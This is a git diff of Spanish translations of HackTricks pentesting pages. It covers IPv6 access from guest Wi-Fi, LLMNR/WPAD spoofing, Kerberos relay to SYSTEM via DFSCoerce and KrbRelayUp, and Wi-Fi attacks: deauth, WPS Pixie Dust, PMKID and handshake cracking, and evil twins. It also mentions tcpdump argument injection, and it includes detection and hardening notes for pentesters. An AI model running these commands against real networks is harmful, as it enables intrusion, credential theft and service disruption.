Si solo se conoce una dirección local de enlace, recuerda que las conexiones deben especificar el índice de zona, por ejemplo, `ssh -6 admin@[fe80::1%wlan0]`. + +Alternativa: usa la suite ndisc6 si está disponible: +```bash +# rdisc6 sends RS and prints RAs in a friendly way +rdisc6 +``` +2) Acceder a servicios expuestos a través de IPv6 desde la SSID de invitados: +```bash +# SSH/Telnet example (replace with discovered address) +ssh -6 admin@[2001:db8:abcd::1] +# Web UI over IPv6 +curl -g -6 -k 'http://[2001:db8:abcd::1]/' +# Fast IPv6 service sweep +nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1] +``` +3) Si la shell de gestión proporciona herramientas de captura de paquetes a través de un wrapper (por ejemplo, tcpdump), verifica la inyección de argumentos/nombres de archivo que permita pasar banderas adicionales de tcpdump como `-G/-W/-z` para lograr la ejecución de comandos post-rotate. Ver: + +{{#ref}} +../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md +{{#endref}} + +Defensas/notas: + +- No vincules la gestión a puentes de invitados/públicos; aplica cortafuegos IPv6 en puentes SSID. +- Limita la tasa y filtra NDP/RS/RA en segmentos de invitados donde sea posible. +- Para servicios que deben ser accesibles, aplica authN/MFA y límites de tasa fuertes. ## Referencias +- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/) +- [mitm6](https://github.com/rofl0r/mitm6) +- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106) - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904) +- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/) +- [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index ad030c7bb..9109e344c 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -7,7 +7,7 @@ ### Protocolos de Resolución de Host Local - **LLMNR, NBT-NS y mDNS**: -- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres locales cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS. +- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres local cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS. - Estos protocolos son susceptibles a la interceptación y el spoofing debido a su naturaleza no autenticada y de difusión sobre UDP. - [Responder](https://github.com/lgandx/Responder) se puede utilizar para suplantar servicios enviando respuestas falsificadas a hosts que consultan estos protocolos. - Más información sobre la suplantación de servicios utilizando Responder se puede encontrar [aquí](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). @@ -15,7 +15,7 @@ ### Protocolo de Descubrimiento Automático de Proxy Web (WPAD) - WPAD permite a los navegadores descubrir automáticamente la configuración del proxy. -- El descubrimiento se facilita a través de DHCP, DNS o retroceso a LLMNR y NBT-NS si DNS falla. +- El descubrimiento se facilita a través de DHCP, DNS, o retrocediendo a LLMNR y NBT-NS si DNS falla. - Responder puede automatizar ataques WPAD, dirigiendo a los clientes a servidores WPAD maliciosos. ### Responder para el Envenenamiento de Protocolos @@ -64,7 +64,7 @@ Inveigh.exe Este ataque aprovecha las sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando un shell del sistema si tiene éxito. Los requisitos clave incluyen: -- El usuario que se autentica debe tener acceso de administrador local en el host retransmitido. +- El usuario que se autentica debe tener acceso de Administrador Local en el host retransmitido. - La firma SMB debe estar deshabilitada. #### 445 Port Forwarding and Tunneling @@ -89,7 +89,7 @@ beacon> socks stop ``` ### Otras Herramientas para el Ataque de Relevo NTLM -- **Metasploit**: Configurado con proxies, detalles de hosts locales y remotos. +- **Metasploit**: Configurado con proxies, detalles de host locales y remotos. - **smbrelayx**: Un script de Python para relajar sesiones SMB y ejecutar comandos o desplegar puertas traseras. - **MultiRelay**: Una herramienta del conjunto Responder para relajar usuarios específicos o todos los usuarios, ejecutar comandos o volcar hashes. @@ -129,22 +129,22 @@ Para información detallada sobre este ataque, consulta: - 1. **Conceptos básicos de Kerberos** | Token | Propósito | Relevancia del relay | -|-------|-----------|----------------------| +|-------|-----------|---------------------| | **TGT / AS-REQ ↔ REP** | Prueba al usuario ante el KDC | intocable | | **Ticket de servicio / TGS-REQ ↔ REP** | Vinculado a un **SPN**; encriptado con la clave del propietario del SPN | intercambiable si los SPNs comparten cuenta | | **AP-REQ** | El cliente envía `TGS` al servicio | **lo que robamos y reproducimos** | * Los tickets están encriptados con la **clave derivada de la contraseña de la cuenta que posee el SPN**. * El **Autenticador** dentro del AP-REQ tiene una marca de tiempo de 5 minutos; la reproducción dentro de esa ventana es válida hasta que la caché del servicio vea un duplicado. -* Windows rara vez verifica si la cadena SPN en el ticket coincide con el servicio que golpeas, por lo que un ticket para `CIFS/HOST` normalmente se desencripta bien en `LDAP/HOST`. +* Windows rara vez verifica si la cadena SPN en el ticket coincide con el servicio que tocas, por lo que un ticket para `CIFS/HOST` normalmente se desencripta bien en `LDAP/HOST`. - 2. **Lo que debe ser cierto para relayar Kerberos** 1. **Clave compartida:** los SPNs de origen y destino pertenecen a la misma cuenta de computadora (predeterminado en servidores Windows). 2. **Sin protección de canal:** SMB/LDAP sin firma y EPA desactivado para HTTP/LDAPS. -3. **Puedes interceptar o coaccionar la autenticación:** envenenamiento de LLMNR/NBNS, suplantación de DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc. +3. **Puedes interceptar o coaccionar la autenticación:** veneno LLMNR/NBNS, suplantación DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc. 4. **Fuente del ticket no utilizada previamente:** ganas la carrera antes de que el paquete real llegue o lo bloqueas por completo; de lo contrario, la caché de reproducción del servidor activa el Evento 4649. -5. Necesitas poder realizar un **MitM en la comunicación**, tal vez siendo parte del grupo DNSAdmins para modificar el DNS del dominio o poder cambiar el archivo HOST de la víctima. +5. Necesitas poder realizar un **MitM en la comunicación**, tal vez siendo parte del grupo DNSAmins para modificar el DNS del dominio o poder cambiar el archivo HOST de la víctima. ### Pasos de Kerberos Relay @@ -164,12 +164,12 @@ Select Name,servicePrincipalName ``` `KrbRelayUp` envuelve **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** en un solo binario. -- 3.3 **Forzar autenticación Kerberos** +- 3.3 **Forzar la autenticación de Kerberos** ```powershell # coerce DC to auth over SMB with DFSCoerce .\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50 ``` -DFSCoerce hace que el DC nos envíe un ticket Kerberos `CIFS/DC01`. +DFSCoerce hace que el DC nos envíe un ticket de Kerberos `CIFS/DC01`. - 3.4 **Reenviar el AP-REQ** @@ -185,6 +185,7 @@ SCMUACBypass.exe ``` You now own **NT AUTHORITY\SYSTEM**. + ### **Más rutas que vale la pena conocer** | Vector | Truco | Por qué es importante | @@ -192,7 +193,7 @@ You now own **NT AUTHORITY\SYSTEM**. | **AuthIP / IPSec** | Servidor falso envía un **payload GSS-ID** con cualquier SPN; el cliente construye un AP-REQ directamente hacia ti | Funciona incluso a través de subredes; credenciales de máquina por defecto | | **DCOM / MSRPC** | Resolutor OXID malicioso obliga al cliente a autenticarse a un SPN y puerto arbitrarios | Escalación de privilegios *local* pura; elude el firewall | | **AD CS Web Enroll** | Reenvía el ticket de máquina a `HTTP/CA` y obtén un certificado, luego **PKINIT** para acuñar TGTs | Elude las defensas de firma LDAP | -| **Shadow Credentials** | Escribe `msDS-KeyCredentialLink`, luego PKINIT con un par de claves falsificado | No es necesario agregar una cuenta de computadora | +| **Credenciales en sombra** | Escribe `msDS-KeyCredentialLink`, luego PKINIT con un par de claves falsificado | No es necesario agregar una cuenta de computadora | ### **Solución de problemas** @@ -203,10 +204,11 @@ You now own **NT AUTHORITY\SYSTEM**. | Fallo de enlace LDAP | Firma aplicada | Usa la ruta de AD CS o desactiva la firma | | Spam de Evento 4649 | El servicio vio un Autenticador duplicado | bloquea o compite con el paquete original | + ### **Detección** * Aumento en **Evento 4769** para `CIFS/`, `HTTP/`, `LDAP/` desde la misma fuente en segundos. -* **Evento 4649** en el servicio indica que se detectó un replay. +* **Evento 4649** en el servicio indica que se detectó una repetición. * Inicio de sesión Kerberos desde **127.0.0.1** (reenvío a SCM local) es altamente sospechoso—mapea a través de la regla Sigma en la documentación de KrbRelayUp. * Observa cambios en los atributos `msDS-AllowedToActOnBehalfOfOtherIdentity` o `msDS-KeyCredentialLink`. @@ -216,7 +218,9 @@ You now own **NT AUTHORITY\SYSTEM**. 2. **Divide los SPNs** para que HTTP no esté en la misma cuenta que CIFS/LDAP. 3. Parchea vectores de coerción (PetitPotam KB5005413, DFS, AuthIP). 4. Establece **`ms-DS-MachineAccountQuota = 0`** para detener uniones de computadoras no autorizadas. -5. Alerta sobre **Evento 4649** e inicios de sesión Kerberos de loopback inesperados. +5. Alerta sobre **Evento 4649** y inicios de sesión Kerberos de bucle inesperados. + + ## Referencias diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md index 0950c6629..9af7a3046 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -21,6 +21,7 @@ iwlist wlan0 scan #Scan available wifis ### Hijacker & NexMon (Wi-Fi interno de Android) + {{#ref}} enable-nexmon-monitor-and-injection-on-android.md {{#endref}} @@ -59,16 +60,16 @@ sudo python setup.py install # Install any dependencies ``` ### [Wifite2](https://github.com/derv82/wifite2) -Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente hará lo siguiente: +Esta herramienta automatiza ataques de **WPS/WEP/WPA-PSK**. Automáticamente: -- Configurar la interfaz en modo monitor -- Escanear redes posibles - Y permitirte seleccionar la(s) víctima(s) -- Si es WEP - Lanzar ataques WEP +- Configura la interfaz en modo monitor +- Escanea redes posibles - Y te permite seleccionar la(s) víctima(s) +- Si es WEP - Lanza ataques WEP - Si es WPA-PSK - Si es WPS: ataque de Pixie dust y el ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría tardar mucho tiempo). Ten en cuenta que no intenta PIN nulos o PINs generados/base de datos. -- Intentar capturar el PMKID del AP para crackearlo -- Intentar desautenticar a los clientes del AP para capturar un handshake -- Si PMKID o Handshake, intentar hacer fuerza bruta usando las 5000 contraseñas más comunes. +- Intenta capturar el PMKID del AP para crackearlo +- Intenta desautenticar a los clientes del AP para capturar un handshake +- Si PMKID o Handshake, intenta hacer fuerza bruta usando las 5000 contraseñas más comunes. ## Resumen de Ataques @@ -77,7 +78,7 @@ Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente hará - APs falsos aleatorios -- Ocultar redes, posible colapso de escáneres - Sobrecargar AP -- Intentar matar el AP (generalmente no muy útil) - WIDS -- Jugar con el IDS -- TKIP, EAPOL -- Algunos ataques específicos para DoS en algunos APs +- TKIP, EAPOL -- Algunos ataques específicos para DoS a ciertos APs - **Cracking** - Crackear **WEP** (varias herramientas y métodos) - **WPA-PSK** @@ -88,11 +89,11 @@ Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente hará - **Captura de Nombre de Usuario** - **Fuerza Bruta** Credenciales - **Evil Twin** (con o sin DoS) -- **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN -- **WPA-PSK** Evil Twin -- Útil para ataques de red si conoces la contraseña +- **Evil Twin** Abierto \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN +- **Evil Twin** **WPA-PSK** -- Útil para ataques de red si conoces la contraseña - **WPA-MGT** -- Útil para capturar credenciales de la empresa - **KARMA, MANA**, **Loud MANA**, **Beacon conocido** -- **+ Open** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN +- **+ Abierto** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN - **+ WPA** -- Útil para capturar handshakes WPA ## DOS @@ -101,7 +102,7 @@ Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente hará **Descripción de** [**aquí**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** -Los ataques de **desautenticación**, un método prevalente en el hacking de Wi-Fi, implican la falsificación de tramas de "gestión" para **desconectar forzosamente dispositivos de una red**. Estos paquetes no cifrados engañan a los clientes haciéndoles creer que provienen de la red legítima, permitiendo a los atacantes recopilar handshakes WPA con fines de cracking o interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red. +Los ataques de **desautenticación**, un método prevalente en el hacking de Wi-Fi, implican la falsificación de tramas de "gestión" para **desconectar forzosamente dispositivos de una red**. Estos paquetes no cifrados engañan a los clientes haciéndoles creer que provienen de la red legítima, lo que permite a los atacantes recopilar handshakes WPA con fines de cracking o interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red. **Desautenticación usando Aireplay-ng** ``` @@ -156,7 +157,7 @@ El sondeo de Puntos de Acceso (APs) verifica si un SSID está correctamente reve **MODO DE ATAQUE m: Explotación de Contramedidas de Michael** -Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede activar las Contramedidas de Michael en **APs TKIP**, lo que lleva a un apagado del AP de un minuto. Este método es una táctica eficiente de ataque **DoS** (Denegación de Servicio). +Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede activar las Contramedidas de Michael en **APs TKIP**, lo que lleva a un apagado del AP durante un minuto. Este método es una táctica eficiente de ataque **DoS** (Denegación de Servicio). ```bash # -t of a TKIP AP # -j use inteligent replay to create the DoS @@ -219,12 +220,12 @@ Este enfoque refinado apunta a los PINs de WPS utilizando vulnerabilidades conoc **Dominique Bongard** descubrió un fallo en algunos Puntos de Acceso (APs) relacionado con la creación de códigos secretos, conocidos como **nonces** (**E-S1** y **E-S2**). Si estos nonces pueden ser descubiertos, romper el PIN de WPS del AP se vuelve fácil. El AP revela el PIN dentro de un código especial (hash) para demostrar que es legítimo y no un AP falso (rogue). Estos nonces son esencialmente las "llaves" para desbloquear la "caja fuerte" que contiene el PIN de WPS. Más sobre esto se puede encontrar [aquí](). -En términos simples, el problema es que algunos APs no utilizaron llaves lo suficientemente aleatorias para encriptar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline). +En términos simples, el problema es que algunos APs no utilizaron claves lo suficientemente aleatorias para encriptar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline). ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 ``` -Si no deseas cambiar el dispositivo a modo monitor, o si `reaver` y `bully` tienen algún problema, puedes probar [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Esta herramienta puede realizar un ataque Pixie Dust sin tener que cambiar a modo monitor. +Si no quieres cambiar el dispositivo a modo monitor, o si `reaver` y `bully` tienen algún problema, puedes probar [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Esta herramienta puede realizar un ataque Pixie Dust sin tener que cambiar a modo monitor. ```bash ./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37 ``` @@ -283,15 +284,15 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ``` Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** dentro de \_ **/tmp/attack.pcap**\_\ -Ahora, convierte la captura al formato de **hashcat/john** y crackéalo: +Ahora, convierte la captura al formato de **hashcat/john** y descífralo: ```bash hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` -Por favor, tenga en cuenta que el formato de un hash correcto contiene **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Si el suyo **solo** contiene **3 partes**, entonces, es **inválido** (la captura de PMKID no fue válida). +Por favor, tenga en cuenta que el formato de un hash correcto contiene **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Si el suyo **solo** contiene **3 partes**, entonces, es **inválido** (la captura de PMKID no fue válida). -Tenga en cuenta que `hcxdumptool` **también captura handshakes** (algo como esto aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Podría **transformar** los **handshakes** al formato de **hashcat**/**john** usando `cap2hccapx`. +Tenga en cuenta que `hcxdumptool` **también captura handshakes** (algo como esto aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Podría **transformar** los **handshakes** al formato de **hashcat**/**john** usando `cap2hccapx` ```bash tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] @@ -299,7 +300,7 @@ hccap2john pmkid.hccapx > handshake.john john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes ``` -_He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._ +_He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de la manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._ ### Captura de handshakes @@ -310,7 +311,7 @@ Un ataque a redes **WPA/WPA2** se puede ejecutar capturando un **handshake** e i ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` -3. Para aumentar la probabilidad de capturar un handshake, desconecte momentáneamente al cliente de la red para forzar una re-autenticación. Esto se puede hacer utilizando el comando `aireplay-ng`, que envía paquetes de desautenticación al cliente: +3. Para aumentar la posibilidad de capturar un handshake, desconecte momentáneamente al cliente de la red para forzar una re-autenticación. Esto se puede hacer utilizando el comando `aireplay-ng`, que envía paquetes de desautenticación al cliente: ```bash aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios ``` @@ -338,7 +339,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the ``` cowpatty -r psk-01.cap -s "ESSID" -f - ``` -_Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completo, no detectará el válido._ +_Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completado, no detectará el válido._ **pyrit** ```bash @@ -358,9 +359,9 @@ En **configuraciones de WiFi empresarial, encontrarás varios métodos de autent 3. **EAP-TLS (Transport Layer Security)**: - Utiliza certificados tanto del lado del cliente como del servidor para la autenticación y puede generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones. 4. **EAP-TTLS (Tunneled Transport Layer Security)**: -- Proporciona autenticación mutua a través de un túnel encriptado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales. +- Proporciona autenticación mutua a través de un túnel cifrado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales. 5. **PEAP (Protected Extensible Authentication Protocol)**: -- Funciona de manera similar a EAP al crear un túnel TLS para comunicación protegida. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel. +- Funciona de manera similar a EAP al crear un túnel TLS para la comunicación protegida. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel. - **PEAP-MSCHAPv2**: A menudo se refiere a PEAP, combina el mecanismo de desafío/respuesta vulnerable de MSCHAPv2 con un túnel TLS protector. - **PEAP-EAP-TLS (o PEAP-TLS)**: Similar a EAP-TLS pero inicia un túnel TLS antes de intercambiar certificados, ofreciendo una capa adicional de seguridad. @@ -370,7 +371,7 @@ Puedes encontrar más información sobre estos métodos de autenticación [aquí Leyendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que si estás usando **EAP**, los **mensajes de "Identidad"** deben ser **soportados**, y el **nombre de usuario** se enviará en **claro** en los **mensajes de "Respuesta de Identidad"**. -Incluso utilizando uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\ +Incluso usando uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\ Dentro del paquete "**Respuesta, Identidad**", aparecerá el **nombre de usuario** del cliente. ![](<../../images/image (850).png>) @@ -385,11 +386,11 @@ El ocultamiento de identidad es soportado tanto por EAP-PEAP como por EAP-TTLS. - En esta situación, los usuarios de diferentes dominios ocultan sus identidades mientras indican sus respectivos dominios. Esto permite que el servidor RADIUS inicial actúe como proxy para las solicitudes EAP-PEAP o EAP-TTLS a los servidores RADIUS en sus dominios de origen, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS. - Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o reenviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios dominios. -En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel encriptado. Este enfoque previene efectivamente la revelación de la verdadera identidad del usuario a cualquier persona que esté escuchando el tráfico 802.11. +En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel cifrado. Este enfoque previene efectivamente la revelación de la verdadera identidad del usuario a cualquier persona que esté escuchando el tráfico 802.11. EAP-TTLS sigue un procedimiento ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica usando PAP o CHAP, asegurado por el túnel TLS. En este caso, el cliente incluye un atributo User-Name y ya sea un atributo Password o CHAP-Password en el mensaje TLS inicial enviado después del establecimiento del túnel. -Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se ha establecido el túnel TLS. La verdadera identidad puede representarse como user@realm o simplemente user. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS del hogar del usuario. Esta nueva solicitud RADIUS omite la capa del protocolo PEAP o TTLS. En los casos en que el método de autenticación protegido sea EAP, los mensajes EAP internos se transmiten al servidor RADIUS del hogar sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el User-Name anónimo de la solicitud RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el User-Name y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el User-Name anónimo y los atributos TTLS EAP-Message encontrados en la solicitud RADIUS entrante. +Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se ha establecido el túnel TLS. La verdadera identidad puede representarse como user@realm o simplemente user. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS de origen del usuario. Esta nueva solicitud RADIUS omite la capa del protocolo PEAP o TTLS. En los casos en que el método de autenticación protegido sea EAP, los mensajes EAP internos se transmiten al servidor RADIUS de origen sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el User-Name anónimo de la solicitud RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el User-Name y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el User-Name anónimo y los atributos TTLS EAP-Message encontrados en la solicitud RADIUS entrante. Para más información consulta [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm) @@ -485,7 +486,7 @@ wpa_group_rekey=86400 ieee80211n=1 wme_enabled=1 ``` -**Detener procesos molestos**, configurar **modo monitor** y **iniciar hostapd**: +**Detener procesos molestos**, establecer **modo monitor** y **iniciar hostapd**: ```bash airmon-ng check kill iwconfig wlan0 mode monitor @@ -502,8 +503,8 @@ echo 1 > /proc/sys/net/ipv4/ip_forward Un ataque de evil twin explota la forma en que los clientes de WiFi reconocen las redes, confiando principalmente en el nombre de la red (ESSID) sin requerir que la estación base (punto de acceso) se autentique ante el cliente. Los puntos clave incluyen: -- **Dificultad en la Diferenciación**: Los dispositivos tienen dificultades para distinguir entre puntos de acceso legítimos y maliciosos cuando comparten el mismo ESSID y tipo de cifrado. Las redes del mundo real a menudo utilizan múltiples puntos de acceso con el mismo ESSID para extender la cobertura sin problemas. -- **Manipulación de Conexión y Roaming del Cliente**: El protocolo 802.11 permite a los dispositivos moverse entre puntos de acceso dentro del mismo ESS. Los atacantes pueden explotar esto atrayendo a un dispositivo a desconectarse de su estación base actual y conectarse a una maliciosa. Esto se puede lograr ofreciendo una señal más fuerte o interrumpiendo la conexión al punto de acceso legítimo mediante métodos como paquetes de desautenticación o interferencia. +- **Dificultad en la Diferenciación**: Los dispositivos tienen dificultades para distinguir entre puntos de acceso legítimos y maliciosos cuando comparten el mismo ESSID y tipo de encriptación. Las redes del mundo real a menudo utilizan múltiples puntos de acceso con el mismo ESSID para extender la cobertura sin problemas. +- **Manipulación de Conexión y Roaming del Cliente**: El protocolo 802.11 permite a los dispositivos moverse entre puntos de acceso dentro del mismo ESS. Los atacantes pueden explotar esto al atraer a un dispositivo a desconectarse de su estación base actual y conectarse a una maliciosa. Esto se puede lograr ofreciendo una señal más fuerte o interrumpiendo la conexión al punto de acceso legítimo a través de métodos como paquetes de desautenticación o interferencia. - **Desafíos en la Ejecución**: Ejecutar con éxito un ataque de evil twin en entornos con múltiples puntos de acceso bien ubicados puede ser un desafío. Desautenticar un solo punto de acceso legítimo a menudo resulta en que el dispositivo se conecte a otro punto de acceso legítimo, a menos que el atacante pueda desautenticar todos los puntos de acceso cercanos o colocar estratégicamente el punto de acceso malicioso. Puedes crear un Open Evil Twin muy básico (sin capacidades para enrutar tráfico a Internet) haciendo: @@ -561,7 +562,7 @@ Esta es la metodología predeterminada para evitar tiempos de conexión largos. ``` O también podrías usar: -- `--negotiate gtc-downgrade` para usar una implementación de degradación GTC altamente eficiente (contraseñas en texto plano) +- `--negotiate gtc-downgrade` para usar una implementación de GTC downgrade altamente eficiente (contraseñas en texto plano) - `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar). - [Encuentra más información en la wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) @@ -577,7 +578,7 @@ O también podrías usar: _Este método fue probado en una conexión PEAP, pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS_ Dentro de la **configuración** de _hostapd-wpe_ **comenta** la línea que contiene _**dh_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\ -Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, así podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**. +Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, por lo que podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**. Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración 